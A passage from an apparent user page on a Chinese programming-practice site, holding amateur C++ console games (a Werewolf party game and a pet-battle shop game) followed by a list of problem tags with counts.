                print(hhh, hhhh);
                cout << "请问你要毒吗???" << endl;
            }
        }
        else
        {
            bool b = 0;
            cout << "请问你是否要用解药???" << endl;
            int FFF = 0, kkkk;
            for (int i = 1; i <= n; i++)
            {
                if (player[i].life == 1 && player[i].name == "村民 ")
                    FFF++;
                if (player[i].name == "女巫 ")
                    kkkk = i;
            }
            if (jieyao == 1 && player[kkkk].life == 1)
            {
                if (FFF == 1)
                {
                    if (shou == kill1)
                        jieyao = 1;
                    else
                        jieyao = 0;
                    kill1 = 0;
                    b = 1;
                }
                else
                    for (int i = 1; i <= n; i++)
                    {
                        if (player[i].name == "女巫 " && kill1 == i)
                        {
                            kill1 = 0;
                            if (shou == kill1)
                                jieyao = 1;
                            else
                                jieyao = 0;
                            b = 1;
                            break;
                        }
                        else if (player[i].name == "预言家 " && kill1 == i)
                        {
                            kill1 = 0;
                            if (shou == kill1)
                                jieyao = 1;
                            else
                                jieyao = 0;
                            b = 1;
                            break;
                        }
                    }
            }
            Sleep(3000);
            if (b == 0 && duyao == 1 && player[kkkk].life == 1)
            {
                system("cls");
                print(hhh, hhhh);
                cout << "请问你是否要用毒药???" << endl;
                srand(time(0));
                int x = rand() % 2;
                Sleep(1500);
                cout << "请问你要毒谁???" << endl;
                if (x == 1)
                {
                    duyao = 0;
                    int y = rand() % n + 1;
                    while ((player[y].name == "女巫 " || player[y].name == "预言家 " || y == kill1) || player[y].life == 0)
                        y = rand() % n + 1;
                    kill2 = y;
                }
            }
            else
            {
                Sleep(3000);
                system("cls");
                print(hhh, hhhh);
                cout << "请问你是否要用毒药???" << endl;
                Sleep(3000);
                cout << "请问你要毒谁???" << endl;
                Sleep(3000);
            }
        }
        Sleep(3000);
        system("cls");
        print(hhh, hhhh);
        cout << "女~巫~请~闭~眼~~~" << endl;
        if (n > 6)
        {
            Sleep(3000);
            system("cls");
            print(hhh, hhhh);
            cout << "预~言~家~请~睁~眼~~~" << endl;
            if (player[MY].name == "预言家 " && player[MY].life == 1)
            {
                Sleep(3000);
                cout << "请问你想查验谁???" << endl << "输入:";
                int x;
                cin >> x;
                player[x].know = 1;
                Sleep(2000);
                system("cls");
                print(hhh, hhhh);
                cout << "他的身份是:";
                if (player[x].name == "狼人 ")
                    cout << "狼人" << endl;
                else
                    cout << "好人" << endl;
                Sleep(3000);
            }
            else
            {
                Sleep(3000);
                cout << "请问你想查验谁???" << endl;
                Sleep(3000);
                system("cls");
                print(hhh, hhhh);
                cout << "他的身份是:......";
                Sleep(3000);
            }
            Sleep(3000);
            system("cls");
            print(hhh, hhhh);
            cout << "预~言~家~请~闭~眼~~~" << endl;
        }
        Sleep(3000);
        if (kill1 != 0)
            player[kill1].life = 0;
        if (kill2 != 0)
            player[kill2].life = 0;
        player[kill1].how = 1;
        player[kill2].how = 3;
        system("cls");
        system("color F0");
        print(hhh + 1, 0);
    }
    bool lr = 0;
    void panduanlieren()
    {
        if (lr == 1)
            return;
        if (MY == lieren)
        {
            cout << "请射杀一名玩家" << endl;
            int x;
            cin >> x;
            while (player[x].life != 1)
            {
                cout << "输入错误,请重新输入" << endl;
                cin >> x;
            }
            Sleep(1000);
            cout << lieren << "号猎人发动技能,开枪带走了" << x << "号" << endl;
            player[x].life = 0;
            player[x].how = 4;
        }
        else if (n >= 9)
        {
            srand(time(0));
            int x = rand() % n + 1;
            while (player[x].life != 1)
            {
                x = rand() % n + 1;
            }
            Sleep(1000);
            cout << lieren << "号猎人发动技能,开枪带走了" << x << "号" << endl;
            player[x].life = 0;
            player[x].how = 4;
        }
        lr = 1;
    }
    void print1()
    {
        cout << "天亮了,昨晚";
        if (kill1 != 0 || kill2 != 0)
        {
            cout << kill1 << "号";
            if (kill2 != 0)
            {
                cout << "," << kill2 << "号";
                kill2 = 0;
            }
            cout << "被杀" << endl;
        }
        else
            cout << "是平安夜" << endl;
    }
    int main()
    {
        system("cls");
        cout << " " << "狼人杀online" << endl;
        cout << "请输入人数个数:" << endl;
        scanf("%d", &n);
        cout << "加载时间长,请耐心等待";
        init1();
        init2(n);
        int k = 1;
        do
        {
            srand(time(0));
            init3(k);
            cout << ".";
            Sleep(17);
            k++;
        } while (k <= n);
        system("cls");
        system("color F0");
        cout << "游戏即将开始";
        for (int i = 1; i <= 6; i++)
        {
            cout << ".";
            Sleep(500);
        }
        Sleep(1500);
        cout << endl << endl << "请大家查看身份牌......" << endl;
        Sleep(45);
        srand(time(0));
        MY = rand() % n + 1;
        cout << "您的身份是:" << player[MY].name << endl;
        Sleep(500);
        cout << "在" << player[MY].num << "号位上" << endl;
        system("pause");
        system("cls");
        player[MY].know = 2;
        print(1, 0);
        cout << "即将进入夜晚";
        for (int i = 1; i <= 6; i++)
        {
            cout << ".";
            Sleep(500);
        }
        night();
        print1();
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        if (player[lieren].life == 0 && lr == 0)
        {
            panduanlieren();
        }
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        toupiao(2, 0);
        system("cls");
        print(2, 0);
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        else if (player[lieren].life == 0 && lr == 0)
        {
            panduanlieren();
        }
        cout << "即将进入夜晚";
        for (int i = 1; i <= 6; i++)
        {
            cout << ".";
            Sleep(500);
        }
        night2(2, 1);
        print1();
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        if (player[lieren].life == 0 && lr == 0)
        {
            panduanlieren();
        }
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        toupiao(3, 0);
        system("cls");
        print(3, 0);
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        else if (player[lieren].life == 0 && lr == 0)
        {
            panduanlieren();
        }
        cout << "即将进入夜晚";
        for (int i = 1; i <= 6; i++)
        {
            cout << ".";
            Sleep(500);
        }
        night2(3, 1);
        print1();
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        if (player[lieren].life == 0)
        {
            panduanlieren();
        }
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        toupiao(4, 0);
        system("cls");
        print(4, 0);
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        else if (player[lieren].life == 0 && lr == 0)
        {
            panduanlieren();
        }
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        cout << "即将进入夜晚";
        for (int i = 1; i <= 6; i++)
        {
            cout << ".";
            Sleep(500);
        }
        night2(4, 1);
        print1();
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        if (player[lieren].life == 0)
        {
            panduanlieren();
        }
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        toupiao(5, 0);
        system("cls");
        print(5, 0);
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        else if (player[lieren].life == 0 && lr == 0)
        {
            panduanlieren();
        }
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        cout << "即将进入夜晚";
        for (int i = 1; i <= 6; i++)
        {
            cout << ".";
            Sleep(500);
        }
        night2(5, 1);
        print1();
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        if (player[lieren].life == 0)
        {
            panduanlieren();
        }
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        toupiao(6, 0);
        system("cls");
        print(6, 0);
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        else if (player[lieren].life == 0 && lr == 0)
        {
            panduanlieren();
        }
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        cout << "即将进入夜晚";
        for (int i = 1; i <= 6; i++)
        {
            cout << ".";
            Sleep(500);
        }
        night2(6, 1);
        print1();
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        if (player[lieren].life == 0)
        {
            panduanlieren();
        }
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        toupiao(7, 0);
        system("cls");
        print(7, 0);
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        else if (player[lieren].life == 0 && lr == 0)
        {
            panduanlieren();
        }
        if (game_over())
        {
            Sleep(1000);
            system("cls");
            cout << "游戏结束" << endl; printhhh();
            return 0;
        }
        while (1)
            system("pause");
        return 0;
    }
    
    #include<iostream>
    using namespace std;
    int main() {
    	long long qian = 10, aden = 1, amin = 20, yao = 0, aminx = 20, agong = 0, agongg = 5, afang = 0, mg[5] = {5, 20, 30, 40, 50}, mq[5] = {2, 10, 20, 50, 100}, mm[5] = {20, 40, 60, 80, 100}, a, b = 0, c, d;
    	cout << "1.资源商店" << endl;
    	cout << "2.获得宠物" << endl;
    	cout << " 3.出战" << endl;
    	cout << "恭喜获得新人礼包:金币*1" << endl;
    	cin >> b;
    	if (b == 1 || b == 3) {
    		cout << "请先获得宠物" << endl;
    		cout << "1.小猫 收费:金币*1" << endl;
    		cout << "2.小狗 收费:金币*1" << endl;
    	} else if (b == 2) {
    		cout << "1.小猫 收费:金币*1" << endl;
    		cout << "2.小狗 收费:金币*1" << endl;
    	}
    	cin >> b;
    	if (b == 1) {
    		cout << "恭喜获得宠物:小猫" << endl;
    	} else if (b == 2) {
    		cout << "恭喜获得宠物:小狗" << endl;
    	}
    	cout << "成功获得宠物 奖励金币*10" << endl;
    	while (b != 9) {
    		cout << "1.资源商店" << endl;
    		cout << "2.宠物升级" << endl;
    		cout << "3.出战" << endl;
    		cout << "4.资料" << endl;
    		cout << "按9结束游戏" << endl;
    		cin >> b;
    		if (b == 9) {
    			cout << "感谢游玩" << endl;
    			return 0;
    		} else if (b == 1) {
    			cout << "1.装备" << endl;
    			cout << "2.药品" << endl;
    			cin >> a;
    			if (a == 1) {
    				cout << "1.攻击" << endl;
    				cout << "2.防御" << endl;
    				cin >> c;
    				if (c == 1) {
    					cout << "1.铁齿 (+20) 收费:金币*40" << endl;
    					cout << "2.钢毛 (+25) 收费:金币*50" << endl;
    					cout << "3.铜爪 (+30) 收费:金币*60" << endl;
    					cout << "4.银掌 (+50) 收费:金币*100" << endl;
    					cout << "5.远古石球 (+100) 收费:金币*300" << endl;
    					cin >> d;
    					if (d == 5 && qian >= 300) {
    						agong += 100;
    						qian -= 300;
    						cout << "当前攻击力:" << agong << endl;
    					} else if (d == 1 && qian >= 40) {
    						agong += 20;
    						qian -= 40;
    						cout << "当前攻击力:" << agong << endl;
    					} else if (d == 2 && qian >= 50) {
    						agong += 25;
    						qian -= 50;
    						cout << "当前攻击力:" << agong << endl;
    					} else if (d == 3 && qian >= 60) {
    						agong += 30;
    						qian -= 60;
    						cout << "当前攻击力:" << agong << endl;
    					} else if (d == 4 && qian >= 100) {
    						agong += 50;
    						qian -= 100;
    						cout << "当前攻击力:" << agong;
    					} else if (d == 1 || d == 2 || d == 3 || d == 4 || d == 5) {
    						cout << "金币不够" << endl << "当前金币:" << qian << endl;
    					}
    				}
    				if (c == 2) {
    					cout << "1.铁甲 (%20) 收费:金币*40" << endl;
    					cout << "2.钢甲 (%30) 收费:金币*50" << endl;
    					cout << "3.铜甲 (%40) 收费:金币*60" << endl;
    					cout << "4.银甲 (%50) 收费:金币*100" << endl;
    					cout << "5.时空金甲 (%90) 收费:金币*300" << endl;
    					cin >> d;
    					if (d == 5 && qian >= 300) {
    						afang = 1;
    						qian -= 300;
    						amin += 150;
    						cout << "当前防御力:%" << afang << endl << "当前血量总值:" << amin << endl;
    					} else if (d == 1 && qian >= 40) {
    						afang = 8;
    						qian -= 40;
    						amin += 20;
    						cout << "当前防御力:%" << afang << endl << "当前血量总值:" << amin << endl;
    					} else if (d == 2 && qian >= 50) {
    						afang = 7;
    						qian -= 50;
    						amin += 25;
    						cout << "当前防御力:%" << afang << endl << "当前血量总值:" << amin << endl;
    					} else if (d == 3 && qian >= 60) {
    						afang = 6;
    						qian -= 60;
    						amin += 30;
    						cout << "当前防御力:%" << afang << endl << "当前血量总值:" << amin << endl;
    					} else if (d == 4 && qian >= 100) {
    						afang = 5;
    						qian -= 100;
    						amin += 50;
    						cout << "当前防御力:%" << afang << endl << "当前血量总值:" << amin << endl;
    					} else if (d == 1 || d == 2 || d == 3 || d == 4 || d == 5) {
    						cout << "金币不够" << endl << "当前金币:" << qian << endl;
    					}
    				}
    			}
    			if (a == 2) {
    				cout << "1.血液回满 收费:金币*1" << endl;
    				cout << "2.快速回复*5(可在战斗中使用) 收费:金币*2" << endl;
    				cin >> c;
    				if (c == 1 && qian >= 1) {
    					aminx = amin;
    					qian -= 1;
    					cout << "当前血量:" << aminx << endl;
    				} else if (c == 1) {
    					cout << "金币不够" << endl << "当前金币:" << qian << endl;
    				}
    				if (c == 2 && qian >= 2) {
    					yao += 5;
    					cout << "当前药品量:" << yao << endl;
    					qian -= 2;
    				} else if (c == 2) {
    					cout << "金币不够" << endl << "当前金币:" << qian << endl;
    				}
    			}
    		} else if (b == 2) {
    			if (afang < 20 && agong < 20) {
    				cout << "请先获得至少一件攻击用具和至少一件防御用具" << endl;
    			} else {
    				cout << "当前等级为" << aden << "级,晋级需要金币*" << aden * 100 << "是否晋级?" << endl;
    				cout << "1.是" << endl;
    				cout << "2.否" << endl;
    				cin >> a;
    				if (a == 1 && qian >= aden * 100) {
    					aden++;
    					agongg *= 2;
    					amin *= 2;
    					qian += aden * 10;
    					cout << "恭喜晋级成功,获得奖励:金币*" << aden * 10 << endl;
    				} else if (a == 1) {
    					cout << "金币不够" << endl << "当前金币:" << qian << endl;
    				}
    			}
    		} else if (b == 3 && aminx > 0) {
    			cout << "1.小怪 攻击力:5 生命值:30" << endl;
    			cout << "2.小怪之王 攻击力:20 生命值:90" << endl;
    			cout << "3.小魔头 攻击力:30 生命值:90" << endl;
    			cout << "4.大魔头 攻击力:40 生命值:120" << endl;
    			cout << "5.万魔之王 攻击力:50 生命值:150" << endl;
    			cin >> a;
    			cout << "开始战斗" << endl;
    			if (afang != 0) {
    				mg[a - 1] /= 10;
    				mg[a - 1] *= afang;
    			}
    			while (aminx > 0 && mm[a - 1] > 0) {
    				cout << "1.攻击" << endl;
    				cout << "2.快速回复" << endl;
    				cin >> c;
    				if (c == 1) {
    					mm[a - 1] -= (agong + agongg);
    					aminx -= mg[a - 1];
    					cout << "魔兽血量-" << agong + agongg << "=" << mm[a - 1] << endl << "宠物血量-" << mg[a - 1] << "=" << aminx << endl;
    				} else if (c == 2) {
    					if (yao > 0) {
    						yao--;
    						aminx = amin;
    						cout << "当前血量:" << aminx << endl;
    						cout << "剩余药品量:" << yao << endl;
    					} else {
    						cout << "药品不足" << endl;
    					}
    				}
    			}
    			if (mm[a - 1] <= 0 && aminx > 0) {
    				cout << "挑战成功" << endl << "获得奖励 金币*" << mq[a - 1] << endl;
    				qian += mq[a - 1];
    				if (a != 1) {
    					mg[a - 1] = a * 5 * 2;
    					mm[a - 1] = mg[a - 1] / 2 * 4;
    				} else {
    					mg[a - 1] = 5;
    					mm[a - 1] = 20;
    				}
    			} else {
    				cout << "你死了" << endl;
    				if (a != 1) {
    					mg[a - 1] = a * 5 * 2;
    					mm[a - 1] = mg[a - 1] / 2 * 4;
    				} else {
    					mg[a - 1] = 5;
    					mm[a - 1] = 20;
    				}
    			}
    		} else if (b == 3) {
    			cout << "您的宠物已经没有血了,请先补满血再来" << endl;
    		} else if (b == 4) {
    			cout << "-------------------------" << endl;
    			cout << "|血量总值:" << amin << " ";
    			cout << "当前血量:" << aminx << endl;
    			cout << "|当前金币:" << qian << " ";
    			cout << "当前攻击力:" << agong + agongg << endl;
    			if (afang != 0) {
    				cout << "|当前防御力:%" << (10 - afang) * 10 << " ";
    			} else {
    				cout << "|当前防御力:%0" << " ";
    			}
    			cout << "当前药品量:" << yao << endl;
    		}
    	}
    	return 0;
    }
    
    
  • 通过的题目

  • 最近活动

  • 最近编写的题解

题目标签

语言基础
111
循环语句
74
其他
62
竞赛
45
动态规划
36
NOIP
36
字符串
35
搜索
28
字符数组
27
位运算
24
贪心
24
年份
21
模拟
20
普及组
20
语言入门
19
排序
18
一维数组
18
选择语句
18
背包
13
递归
12